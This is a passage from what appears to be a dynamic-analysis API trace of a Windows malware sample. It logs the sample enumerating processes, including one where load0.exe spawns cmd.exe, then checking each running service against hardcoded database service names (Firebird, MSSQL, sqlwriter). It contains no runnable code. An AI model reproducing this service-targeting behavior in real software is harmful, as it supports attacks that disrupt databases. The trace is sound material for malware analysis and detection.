pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.564] lstrlenW (lpString="svchost.exe") returned 11 [0140.564] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0140.565] lstrlenW (lpString="audiodg.exe") returned 11 [0140.565] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0140.566] lstrlenW (lpString="sihost.exe") returned 10 [0140.566] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.567] lstrlenW (lpString="svchost.exe") returned 11 [0140.567] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0140.568] lstrlenW (lpString="taskhostw.exe") returned 13 [0140.568] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0140.569] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0140.569] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0140.569] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0140.570] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0140.570] lstrlenW (lpString="explorer.exe") returned 12 [0140.570] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0140.571] lstrlenW (lpString="Memory Compression") returned 18 [0140.571] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0140.572] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0140.572] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0140.573] lstrlenW (lpString="SearchUI.exe") returned 12 [0140.573] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0140.574] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0140.574] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0140.575] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0140.575] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0140.576] lstrlenW (lpString="UsoClient.exe") returned 13 [0140.576] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0140.577] lstrlenW (lpString="msoia.exe") returned 9 [0140.577] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0140.577] lstrlenW (lpString="taskhostw.exe") returned 13 [0140.578] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0140.578] lstrlenW (lpString="msoia.exe") returned 9 [0140.578] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0140.579] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0140.579] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0140.580] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0140.580] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0140.581] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0140.581] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0140.582] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0140.582] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0140.583] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0140.583] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0140.584] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0140.584] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0140.584] lstrlenW (lpString="concerned venture.exe") returned 21 [0140.584] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0140.585] lstrlenW (lpString="organizingscsi.exe") returned 18 [0140.585] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0140.586] lstrlenW (lpString="airplane placing.exe") returned 20 [0140.586] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0140.587] lstrlenW (lpString="circus.exe") returned 10 [0140.587] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0140.588] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0140.588] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0140.589] lstrlenW (lpString="das.exe") returned 7 [0140.589] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0140.590] lstrlenW (lpString="beam removable.exe") returned 18 [0140.590] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0140.597] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0140.597] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0140.598] lstrlenW (lpString="dome.exe") returned 8 [0140.598] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0140.599] lstrlenW (lpString="wiresjacket.exe") returned 15 [0140.599] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0140.600] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0140.600] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0140.601] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0140.601] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0140.602] lstrlenW (lpString="tested.exe") returned 10 [0140.602] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0140.603] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0140.603] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0140.604] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0140.604] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0140.605] lstrlenW (lpString="level.exe") returned 9 [0140.605] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0140.606] lstrlenW (lpString="dllhost.exe") returned 11 [0140.606] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0140.607] lstrlenW (lpString="conhost.exe") returned 11 [0140.607] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0140.608] lstrlenW (lpString="conhost.exe") returned 11 [0140.608] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.609] lstrlenW (lpString="svchost.exe") returned 11 [0140.609] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0140.610] lstrlenW (lpString="load0.exe") returned 9 [0140.610] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0140.611] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0140.611] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0140.612] lstrlenW (lpString="conhost.exe") returned 11 [0140.612] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0140.613] lstrlenW (lpString="cmd.exe") returned 7 [0140.613] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0140.614] lstrlenW (lpString="conhost.exe") returned 11 [0140.614] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.615] lstrlenW (lpString="svchost.exe") returned 11 [0140.615] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0140.616] CloseHandle (hObject=0x10c8) returned 1 [0140.616] Sleep (dwMilliseconds=0x1f4) [0141.251] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e32f8 [0141.251] EnumServicesStatusExW (in: hSCManager=0x5e32f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0141.252] GetLastError () returned 0xea [0141.252] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x64ac08 [0141.341] EnumServicesStatusExW (in: hSCManager=0x5e32f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0141.343] CloseServiceHandle (hSCObject=0x5e32f8) returned 1 [0141.343] lstrlenW (lpString="Appinfo") returned 7 [0141.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0141.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0141.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0141.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0141.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0141.343] lstrlenW (lpString="AppXSvc") returned 7 [0141.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0141.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0141.343] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0141.343] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0141.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0141.343] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0141.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0141.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0141.343] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0141.344] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0141.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0141.344] lstrlenW (lpString="Audiosrv") returned 8 [0141.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0141.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0141.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0141.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0141.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0141.344] lstrlenW (lpString="BFE") returned 3 [0141.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0141.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0141.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0141.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0141.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0141.344] lstrlenW (lpString="BITS") returned 4 [0141.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0141.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0141.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0141.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0141.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0141.344] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0141.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0141.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0141.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0141.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0141.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0141.344] lstrlenW (lpString="CDPSvc") returned 6 [0141.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0141.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0141.345] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0141.345] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0141.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0141.345] lstrlenW (lpString="ClickToRunSvc") returned 13 [0141.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0141.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0141.345] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0141.345] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0141.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0141.345] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0141.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0141.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0141.345] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0141.345] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0141.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0141.345] lstrlenW (lpString="CryptSvc") returned 8 [0141.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0141.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0141.345] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0141.345] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0141.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0141.345] lstrlenW (lpString="DcomLaunch") returned 10 [0141.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0141.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0141.345] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0141.345] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0141.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0141.346] lstrlenW (lpString="DeviceAssociationService") returned 24 [0141.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0141.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0141.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0141.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0141.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0141.346] lstrlenW (lpString="Dhcp") returned 4 [0141.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0141.346] lstrcmpiW 